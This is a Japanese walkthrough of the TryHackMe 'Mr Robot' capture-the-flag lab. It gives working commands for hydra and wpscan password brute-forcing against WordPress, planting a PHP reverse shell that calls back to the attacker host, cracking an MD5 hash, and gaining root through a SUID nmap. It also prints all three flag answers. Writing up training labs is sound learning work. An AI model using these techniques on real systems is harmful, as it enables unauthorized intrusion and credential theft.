概要
TryHackMe「Mr Robot CTF」のWalkthroughです。
Task2
Q1.What is key 1?
Hint.Robots
nmap
でポートスキャンを実行します。
$ nmap -sC -A -T4 -p- 10.10.165.108
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-25 10:11 EDT
Nmap scan report for 10.10.165.108
Host is up (0.24s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 451.80 seconds
80
,443
ポートがオープンになっていることがわかりました。
Webサイトにアクセスするとコマンドが実行でき、それに応じてアプリケーションのアクションがありましたが、特にめぼしいものは見つかりませんでした。
次にdirsearch
でWebアプリケーションのディレクトリを列挙します。
$ dirsearch -u http://10.10.165.108
robots.txt
を発見しました。
[10:31:11] 200 - 41B - /robots.txt
ヒントからもrobots.txt
が怪しいと思い、アクセスするとkey-1-of-3.txt
という興味深いファイル名を得られました。
アクセスするとkey1
が表示されました。
A.073403c8a58a1f80d943455fb30724b9
Q2.What is key 2?
Hint.There's something fishy about this wordlist... Why is it so long?
同じくrobots.txt
にfsocity.dic
という辞書ファイルの様な記載があるのでアクセスし、ダウンロードします。
中身はワードリストぽいですね。
$ head fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
ヒントからこのワードリスト自体が怪しいみたいです。
ファイルサイズも中々大きいので調べると85万
行もあります。
$ cat fsocity.dic | wc -l
858160
さらに調べていくと、重複するワードも含まれていることが分かりました。
$ cat fsocity.dic | grep -x "user" | wc -l
75
sort
コマンドでソートしてuniq
コマンドで重複を削除し、ファイルに保存します。
$ sort fsocity.dic | uniq > wordlist.txt
ワードリストを一万
行まで減らすことができました。
$ cat wordlist.txt | wc -l
11451
また、wordpress
関連のパスも見つけました。
ログイン画面にもアクセスできるようになっています。
[10:31:55] 200 - 1KB - /wp-login
[10:31:55] 200 - 1KB - /wp-login.php
[10:31:55] 200 - 1KB - /wp-login/
ログインを試してみるとユーザー名が無効の旨のエラーが出ました。
先ほどの辞書ファイルでブルートフォース攻撃を試せば、ユーザー名を特定できそうです。
まず、リクエスト情報をburp
で取得します。
このPOSTリクエストを使用してhydra
でブルートフォース攻撃をします。
$ hydra -L fsocity.dic -p test 10.10.165.108 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.165.108%2Fwp-admin%2F&testcookie=1:Invalid username" -t 30
オプションを軽く解説します。
-
-L
- ユーザー名のワードリストを指定します
-
-p
- パスワードを指定します
-
http-post-form
- POSTリクエストに必要なパラメータなどを設定します
- 下記フォーマットで指定します
[リクエストパス]:[POSTパラメータ]:[失敗時のメッセージ]'
- ユーザー名の部分には
^USER^
と指定する必要があります - パスワードの部分には
^PASS^
と指定する必要があります
-
-t
- 並列処理数を設定します。デフォルトは
16
です
- 並列処理数を設定します。デフォルトは
ユーザー名を特定できました。
[80][http-post-form] host: 10.10.165.108 login: Elliot password: test
続けてパスワードも特定したいのでエラーメッセージを取得します。
hydra
でパスワードを特定します。
$ hydra -l Elliot -P wordlist.txt 10.10.165.108 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F10.10.165.108%2Fwp-admin%2F&testcookie=1:The password you entered for the username" -t 30
処理が終了し、パスワードの特定に成功しました。
[80][http-post-form] host: 10.10.165.108 login: Elliot password: ER28-0652
ブルートフォース攻撃にwpscan
などを使用することもできます。
$ wpscan --url http://10.10.165.108 -U Elliot -P wordlist.txt -t 64
パスワードのクラックに成功しました。
[!] Valid Combinations Found:
| Username: Elliot, Password: ER28-0652
認証情報を入力してワードプレスにログインします。
Appearance
->Editor
->404 Template
ページなどで直接phpファイルの編集ができるようになっています。
ここにPHPのリバースシェルコードを埋め込むことでマシンに侵入できそうです。
リバースシェルコードはkaliに入っているものを使います。
$ ls -l /usr/share/webshells/php/php-reverse-shell.php
-rwxr-xr-x 1 root root 5491 Nov 20 2021 /usr/share/webshells/php/php-reverse-shell.php
コードのIPアドレスとポート番号を編集します。
$ip = '10.6.55.144'; // CHANGE THIS
$port = 1234; // CHANGE THIS
左下のUpdate File
をクリックしPHPのコードを書き換えます。
netcat
でリッスンします。
$ netcat -lnvp 1234
そしして/404.php
へアクセスするとシェルを取得できました。
$ netcat -lnvp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.165.108] 51560
Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
17:46:53 up 3:42, 0 users, load average: 0.00, 0.01, 0.10
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1(daemon) gid=1(daemon) groups=1(daemon)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
$ whoami
daemon
$ pwd
/
/home/robot
配下にキーファイルを発見しましたが、読み取り権限がなく中身を閲覧できません。
$ ls -l /home/robot
total 8
-r-------- 1 robot robot 33 Nov 13 2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot 39 Nov 13 2015 password.raw-md5
$ cat /home/robot/key-2-of-3.txt
cat: /home/robot/key-2-of-3.txt: Permission denied
代わりにpassword.raw-md5
を閲覧できました。
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
このハッシュ値はrobot
アカウントのパスワードのようです。
ハッシュ値をhash.txt
ファイルに保存して、John the Ripper
で解析します。
$ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
a~zの文字列をパスワードにしているようです。
abcdefghijklmnopqrstuvwxyz (?)
このままrobot
アカウントにログインしようとしましたが、ターミナルから実行する必要があると怒られました。
疑似端末(pty)
をリバースシェルに割り当てる必要があります。
$ su robot
su: must be run from a terminal
python
が入っているのを確認できたのでここからシェルを実行します。
$ python --version
Python 2.7.6
python -c 'import pty; pty.spawn("/bin/sh")'
robot
アカウントでのログインに成功しました。
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:/$
key-2-of-3.txt
ファイルを読み込んで2つ目のキーをゲットです。
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
A.822c73956184f694993bede3eb39f959
Q3.What is key 3?
Hint.nmap
sudo -l
を実行し、特権ユーザーで実行できるコマンドがないか探しましたが、ダメそうです。
robot@linux:~$ sudo -l
sudo -l
[sudo] password for robot: abcdefghijklmnopqrstuvwxyz
Sorry, user robot may not run sudo on linux.
sudo -l
の使い方の記事を投稿しましたので、併せてご覧ください。
【ハッキング入門】sudo -lで権限昇格への足掛かりにする
suid
ビットが設定されたプログラムを検索します。
robot@linux:~$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"
<rep -v -e "Permission denied" -e "No such file or directory"
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
ヒントにもあるように、nmap
が怪しいですね。
GTFOBins
でnmap
を利用したシェル取得を探しました。
サイトを参考にコマンドを実行すると、root
アカウントのシェルを取得できました。
robot@linux:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
#
nmap
での--interactive
オプションはバージョン2.02~5.21でのみ使用できるようです。
また、それ以外のバージョンではNSE
を使用することでも権限昇格ができるようです。
最後に/root
配下のキーファイルを読み取ってルームクリアです。
# ls -l
ls -l
total 4
-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
A.04787ddef27c3dee1ee161b21670b4e4